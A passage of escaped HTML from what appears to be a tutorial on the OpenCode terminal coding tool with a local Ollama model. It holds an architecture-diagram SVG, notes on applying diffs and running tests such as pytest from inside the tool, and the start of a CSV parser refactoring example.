stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 280,176 L 280,208' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 360,0 L 360,48' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 360,128 L 360,176' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 392,128 L 392,176' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 392,256 L 392,304' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 392,352 L 392,400' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 472,176 L 472,240' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 472,320 L 472,336' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 488,80 L 488,112' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 552,128 L 552,176' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 552,256 L 552,304' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 552,352 L 552,400' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 88,176 L 96,160' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 212,280 L 220,264' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 472,336 L 472,344' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 72,112 L 72,120' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpolygon points='88.000000,112.000000 76.000000,106.400002 76.000000,117.599998' fill='currentColor' transform='rotate(90.000000, 72.000000, 112.000000)'\u003e\u003c/polygon\u003e\n\u003cpath d='M 184,240 L 184,248' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpolygon points='200.000000,240.000000 188.000000,234.399994 188.000000,245.600006' fill='currentColor' transform='rotate(90.000000, 184.000000, 240.000000)'\u003e\u003c/polygon\u003e\n\u003cpath d='M 184,336 L 184,344' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpolygon points='200.000000,336.000000 188.000000,330.399994 188.000000,341.600006' fill='currentColor' transform='rotate(90.000000, 184.000000, 336.000000)'\u003e\u003c/polygon\u003e\n\u003cpath d='M 280,112 L 280,120' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpolygon points='296.000000,112.000000 284.000000,106.400002 284.000000,117.599998' fill='currentColor' transform='rotate(90.000000, 280.000000, 112.000000)'\u003e\u003c/polygon\u003e\n\u003cpolygon points='392.000000,384.000000 380.000000,378.399994 380.000000,389.600006' fill='currentColor' transform='rotate(0.000000, 384.000000, 384.000000)'\u003e\u003c/polygon\u003e\n\u003cpath d='M 472,240 L 472,248' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpolygon points='488.000000,240.000000 476.000000,234.399994 476.000000,245.600006' fill='currentColor' transform='rotate(90.000000, 472.000000, 240.000000)'\u003e\u003c/polygon\u003e\n\u003cpath d='M 472,312 L 472,320' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpolygon points='488.000000,320.000000 476.000000,314.399994 476.000000,325.600006' fill='currentColor' transform='rotate(270.000000, 472.000000, 320.000000)'\u003e\u003c/polygon\u003e\n\u003cpath d='M 488,112 L 488,120' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpolygon points='504.000000,112.000000 492.000000,106.400002 492.000000,117.599998' fill='currentColor' transform='rotate(90.000000, 488.000000, 112.000000)'\u003e\u003c/polygon\u003e\n\u003ctext text-anchor='middle' x='24' y='148' fill='currentColor' style='font-size:1em'\u003eC\u003c/text\u003e\n\u003ctext text-anchor='middle' x='24' y='164' fill='currentColor' style='font-size:1em'\u003e(\u003c/text\u003e\n\u003ctext text-anchor='middle' x='32' y='148' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='32' y='164' fill='currentColor' style='font-size:1em'\u003e@\u003c/text\u003e\n\u003ctext text-anchor='middle' x='40' y='148' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='48' y='148' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='48' y='164' fill='currentColor' style='font-size:1em'\u003ef\u003c/text\u003e\n\u003ctext text-anchor='middle' x='56' y='148' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='56' y='164' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='64' y='148' fill='currentColor' style='font-size:1em'\u003ex\u003c/text\u003e\n\u003ctext text-anchor='middle' x='64' y='164' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='148' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='164' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='164' fill='currentColor' style='font-size:1em'\u003e,\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='148' fill='currentColor' style='font-size:1em'\u003eM\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='148' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='148' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='164' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='112' y='148' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='112' y='164' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='148' fill='currentColor' style='font-size:1em'\u003eg\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='164' fill='currentColor' style='font-size:1em'\u003ew\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='276' fill='currentColor' style='font-size:1em'\u003eO\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='292' fill='currentColor' style='font-size:1em'\u003e(\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='372' fill='currentColor' style='font-size:1em'\u003eL\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='388' fill='currentColor' style='font-size:1em'\u003e(\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='148' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='164' fill='currentColor' style='font-size:1em'\u003e)\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='276' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='292' fill='currentColor' style='font-size:1em'\u003eL\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='372' fill='currentColor' style='font-size:1em'\u003eL\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='388' fill='currentColor' style='font-size:1em'\u003eG\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='148' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='276' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='292' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='372' fill='currentColor' style='font-size:1em'\u003eM\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='388' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='276' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='292' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='388' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='276' fill='currentColor' style='font-size:1em'\u003em\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='292' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='372' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='388' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='276' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='292' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='372' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='388' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='168' y='292' fill='currentColor' style='font-size:1em'\u003eh\u003c/text\u003e\n\u003ctext text-anchor='middle' x='168' y='372' fill='currentColor' style='font-size:1em'\u003eg\u003c/text\u003e\n\u003ctext text-anchor='middle' x='168' y='388' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='176' y='276' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='176' y='292' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='176' y='372' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='176' y='388' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='184' y='276' fill='currentColor' style='font-size:1em'\u003eP\u003c/text\u003e\n\u003ctext text-anchor='middle' x='184' y='292' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='184' y='372' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='184' y='388' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='192' y='276' fill='currentColor' style='font-size:1em'\u003eI\u003c/text\u003e\n\u003ctext text-anchor='middle' x='192' y='292' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='192' y='372' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='192' y='388' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='200' y='292' fill='currentColor' style='font-size:1em'\u003e)\u003c/text\u003e\n\u003ctext text-anchor='middle' x='208' y='388' fill='currentColor' style='font-size:1em'\u003eD\u003c/text\u003e\n\u003ctext text-anchor='middle' x='216' y='148' fill='currentColor' style='font-size:1em'\u003eC\u003c/text\u003e\n\u003ctext text-anchor='middle' x='216' y='164' fill='currentColor' style='font-size:1em'\u003e(\u003c/text\u003e\n\u003ctext text-anchor='middle' x='216' y='388' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='224' y='36' fill='currentColor' style='font-size:1em'\u003e(\u003c/text\u003e\n\u003ctext text-anchor='middle' x='224' y='148' fill='currentColor' style='font-size:1em'\u003eh\u003c/text\u003e\n\u003ctext text-anchor='middle' x='224' y='164' fill='currentColor' style='font-size:1em'\u003eR\u003c/text\u003e\n\u003ctext text-anchor='middle' x='224' y='276' fill='currentColor' style='font-size:1em'\u003ev\u003c/text\u003e\n\u003ctext text-anchor='middle' x='224' y='388' fill='currentColor' style='font-size:1em'\u003ef\u003c/text\u003e\n\u003ctext text-anchor='middle' x='232' y='20' fill='currentColor' style='font-size:1em'\u003eO\u003c/text\u003e\n\u003ctext text-anchor='middle' x='232' y='36' fill='currentColor' style='font-size:1em'\u003eU\u003c/text\u003e\n\u003ctext text-anchor='middle' x='232' y='148' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='232' y='164' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='232' y='276' fill='currentColor' style='font-size:1em'\u003e1\u003c/text\u003e\n\u003ctext text-anchor='middle' x='232' y='388' fill='currentColor' style='font-size:1em'\u003ef\u003c/text\u003e\n\u003ctext text-anchor='middle' x='240' y='20' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='240' y='36' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='240' y='148' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='240' y='164' fill='currentColor' style='font-size:1em'\u003eq\u003c/text\u003e\n\u003ctext text-anchor='middle' x='240' y='276' fill='currentColor' style='font-size:1em'\u003e)\u003c/text\u003e\n\u003ctext text-anchor='middle' x='240' y='388' fill='currentColor' style='font-size:1em'\u003e)\u003c/text\u003e\n\u003ctext text-anchor='middle' x='248' y='20' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='248' y='36' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='248' y='164' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='256' y='20' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='256' y='36' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='256' y='148' fill='currentColor' style='font-size:1em'\u003e/\u003c/text\u003e\n\u003ctext text-anchor='middle' x='256' y='164' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='264' y='20' fill='currentColor' style='font-size:1em'\u003eC\u003c/text\u003e\n\u003ctext text-anchor='middle' x='264' y='164' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='272' y='20' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='272' y='36' fill='currentColor' style='font-size:1em'\u003eT\u003c/text\u003e\n\u003ctext text-anchor='middle' x='272' y='148' fill='currentColor' style='font-size:1em'\u003eP\u003c/text\u003e\n\u003ctext text-anchor='middle' x='272' y='164' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='280' y='20' fill='currentColor' style='font-size:1em'\u003ed\u003c/text\u003e\n\u003ctext text-anchor='middle' x='280' y='36' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='280' y='148' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='288' y='20' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='288' y='36' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='288' y='148' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='288' y='164' fill='currentColor' style='font-size:1em'\u003eD\u003c/text\u003e\n\u003ctext text-anchor='middle' x='296' y='36' fill='currentColor' style='font-size:1em'\u003em\u003c/text\u003e\n\u003ctext text-anchor='middle' x='296' y='148' fill='currentColor' style='font-size:1em'\u003em\u003c/text\u003e\n\u003ctext text-anchor='middle' x='296' y='164' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='304' y='20' fill='currentColor' style='font-size:1em'\u003eT\u003c/text\u003e\n\u003ctext text-anchor='middle' x='304' y='36' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='304' y='148' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='304' y='164' fill='currentColor' style='font-size:1em'\u003ef\u003c/text\u003e\n\u003ctext text-anchor='middle' x='312' y='20' fill='currentColor' style='font-size:1em'\u003eU\u003c/text\u003e\n\u003ctext text-anchor='middle' x='312' y='36' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='312' y='148' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='312' y='164' fill='currentColor' style='font-size:1em'\u003ef\u003c/text\u003e\n\u003ctext text-anchor='middle' x='320' y='20' fill='currentColor' style='font-size:1em'\u003eI\u003c/text\u003e\n\u003ctext text-anchor='middle' x='320' y='36' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='320' y='164' fill='currentColor' style='font-size:1em'\u003e)\u003c/text\u003e\n\u003ctext text-anchor='middle' x='328' y='36' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='336' y='36' fill='currentColor' style='font-size:1em'\u003e)\u003c/text\u003e\n\u003ctext text-anchor='middle' x='408' y='148' fill='currentColor' style='font-size:1em'\u003eC\u003c/text\u003e\n\u003ctext text-anchor='middle' x='408' y='164' fill='currentColor' style='font-size:1em'\u003e(\u003c/text\u003e\n\u003ctext text-anchor='middle' x='408' y='276' fill='currentColor' style='font-size:1em'\u003eL\u003c/text\u003e\n\u003ctext text-anchor='middle' x='408' y='292' fill='currentColor' style='font-size:1em'\u003e(\u003c/text\u003e\n\u003ctext text-anchor='middle' x='408' y='372' fill='currentColor' style='font-size:1em'\u003eD\u003c/text\u003e\n\u003ctext text-anchor='middle' x='408' y='388' fill='currentColor' style='font-size:1em'\u003e(\u003c/text\u003e\n\u003ctext text-anchor='middle' x='416' y='148' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='416' y='164' fill='currentColor' style='font-size:1em'\u003e!\u003c/text\u003e\n\u003ctext text-anchor='middle' x='416' y='276' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='416' y='292' fill='currentColor' style='font-size:1em'\u003eP\u003c/text\u003e\n\u003ctext text-anchor='middle' x='416' y='372' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='416' y='388' fill='currentColor' style='font-size:1em'\u003eW\u003c/text\u003e\n\u003ctext text-anchor='middle' x='424' y='148' fill='currentColor' style='font-size:1em'\u003em\u003c/text\u003e\n\u003ctext text-anchor='middle' x='424' y='276' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='424' y='292' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='424' y='372' fill='currentColor' style='font-size:1em'\u003ef\u003c/text\u003e\n\u003ctext text-anchor='middle' x='424' y='388' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='432' y='148' fill='currentColor' style='font-size:1em'\u003em\u003c/text\u003e\n\u003ctext text-anchor='middle' x='432' y='164' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='432' y='276' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='432' y='292' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='432' y='372' fill='currentColor' style='font-size:1em'\u003ef\u003c/text\u003e\n\u003ctext text-anchor='middle' x='432' y='388' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='440' y='148' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='440' y='164' fill='currentColor' style='font-size:1em'\u003eh\u003c/text\u003e\n\u003ctext text-anchor='middle' x='440' y='276' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='440' y='292' fill='currentColor' style='font-size:1em'\u003ej\u003c/text\u003e\n\u003ctext text-anchor='middle' x='440' y='388' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='448' y='148' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='448' y='164' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='448' y='292' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='448' y='372' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='448' y='388' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='456' y='148' fill='currentColor' style='font-size:1em'\u003ed\u003c/text\u003e\n\u003ctext text-anchor='middle' x='456' y='164' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='456' y='276' fill='currentColor' style='font-size:1em'\u003eF\u003c/text\u003e\n\u003ctext text-anchor='middle' x='456' y='292' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='456' y='372' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='456' y='388' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='464' y='164' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='464' y='276' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='464' y='292' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='464' y='372' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='472' y='148' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='472' y='276' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='472' y='372' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='472' y='388' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='480' y='148' fill='currentColor' style='font-size:1em'\u003ex\u003c/text\u003e\n\u003ctext text-anchor='middle' x='480' y='164' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='480' y='276' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='480' y='292' fill='currentColor' style='font-size:1em'\u003eC\u003c/text\u003e\n\u003ctext text-anchor='middle' x='480' y='372' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='480' y='388' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='488' y='148' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='488' y='164' fill='currentColor' style='font-size:1em'\u003em\u003c/text\u003e\n\u003ctext text-anchor='middle' x='488' y='276' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='488' y='292' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='488' y='372' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='496' y='148' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='496' y='164' fill='currentColor' style='font-size:1em'\u003ed\u003c/text\u003e\n\u003ctext text-anchor='middle' x='496' y='276' fill='currentColor' style='font-size:1em'\u003ey\u003c/text\u003e\n\u003ctext text-anchor='middle' x='496' y='292' fill='currentColor' style='font-size:1em'\u003ed\u003c/text\u003e\n\u003ctext text-anchor='middle' x='496' y='372' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='496' y='388' fill='currentColor' style='font-size:1em'\u003ed\u003c/text\u003e\n\u003ctext text-anchor='middle' x='504' y='148' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='504' y='164' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='504' y='276' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='504' y='292' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='504' y='388' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='512' y='148' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='512' y='164' fill='currentColor' style='font-size:1em'\u003e)\u003c/text\u003e\n\u003ctext text-anchor='middle' x='512' y='276' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='512' y='292' fill='currentColor' style='font-size:1em'\u003e)\u003c/text\u003e\n\u003ctext text-anchor='middle' x='512' y='388' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='520' y='148' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='520' y='276' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='520' y='388' fill='currentColor' style='font-size:1em'\u003ek\u003c/text\u003e\n\u003ctext text-anchor='middle' x='528' y='148' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='528' y='276' fill='currentColor' style='font-size:1em'\u003em\u003c/text\u003e\n\u003ctext text-anchor='middle' x='528' y='388' fill='currentColor' style='font-size:1em'\u003e)\u003c/text\u003e\n\u003c/g\u003e\n\n\t\t\u003c/svg\u003e\n\t\n\u003c/div\u003e\n\u003cp\u003e\u003cstrong\u003eVisual Notes:\u003c/strong\u003e\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eThe Context Manager and Prompt feed directly into the Ollama API, utilizing the KV cache.\u003c/li\u003e\n\u003cli\u003eThe LLM Engine generates a diff, which the Diff Applier writes directly to the Local Filesystem.\u003c/li\u003e\n\u003cli\u003eThe Command Executor interacts directly with the filesystem, independent of the LLM generation loop.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3 id=\"applying-diffs-and-running-commands\"\u003eApplying Diffs and Running Commands\u003c/h3\u003e\n\u003cp\u003eWhen the model generates a code change, OpenCode presents it as a unified diff in the TUI — additions in green, removals in red. Press Enter to apply or Esc to reject. The change writes directly to your file on disk. No clipboard involved.\u003c/p\u003e\n\u003cp\u003eYou can also run shell commands from inside OpenCode by prefixing them with \u003ccode\u003e!\u003c/code\u003e:\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003e!pytest tests/test_parser.py -v\n\u003c/code\u003e\u003c/pre\u003e\u003cp\u003eOpenCode executes the command and pipes the output back into the conversation. The model reads the test results and can suggest fixes based on the actual error messages — without you copying error text from one window to another.\u003c/p\u003e\n\u003ch2 id=\"hands-on-example-refactoring-a-function\"\u003eHands-On Example: Refactoring a Function\u003c/h2\u003e\n\u003cp\u003e\u003cstrong\u003eThe task:\u003c/strong\u003e Refactor a CSV parser and verify the tests still pass, entirely within the terminal.\u003c/p\u003e\n\u003cp\u003eStarting file, \u003ccode\u003eparser.py\u003c/code\u003e:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-python\" data-lang=\"python\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#66d9ef\"\u003edef\u003c/span\u003e \u003cspan style=\"color:#a6e22e\"\u003eparse_csv\u003c/span\u003e(filepath):\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003eimport\u003c/span\u003e csv\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    data \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e []\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    f \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e open(filepath)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    reader \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e csv\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003eDictReader(f)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#66d9ef\"\u003efor\u003c/span\u003e row \u003cspan style=\"color:#f92672\"\u003ein\u003c/span\u003e reader:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        data\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003eappend(row)\n\u003c/span\u003e\u003c/span\u003e\u003cspan 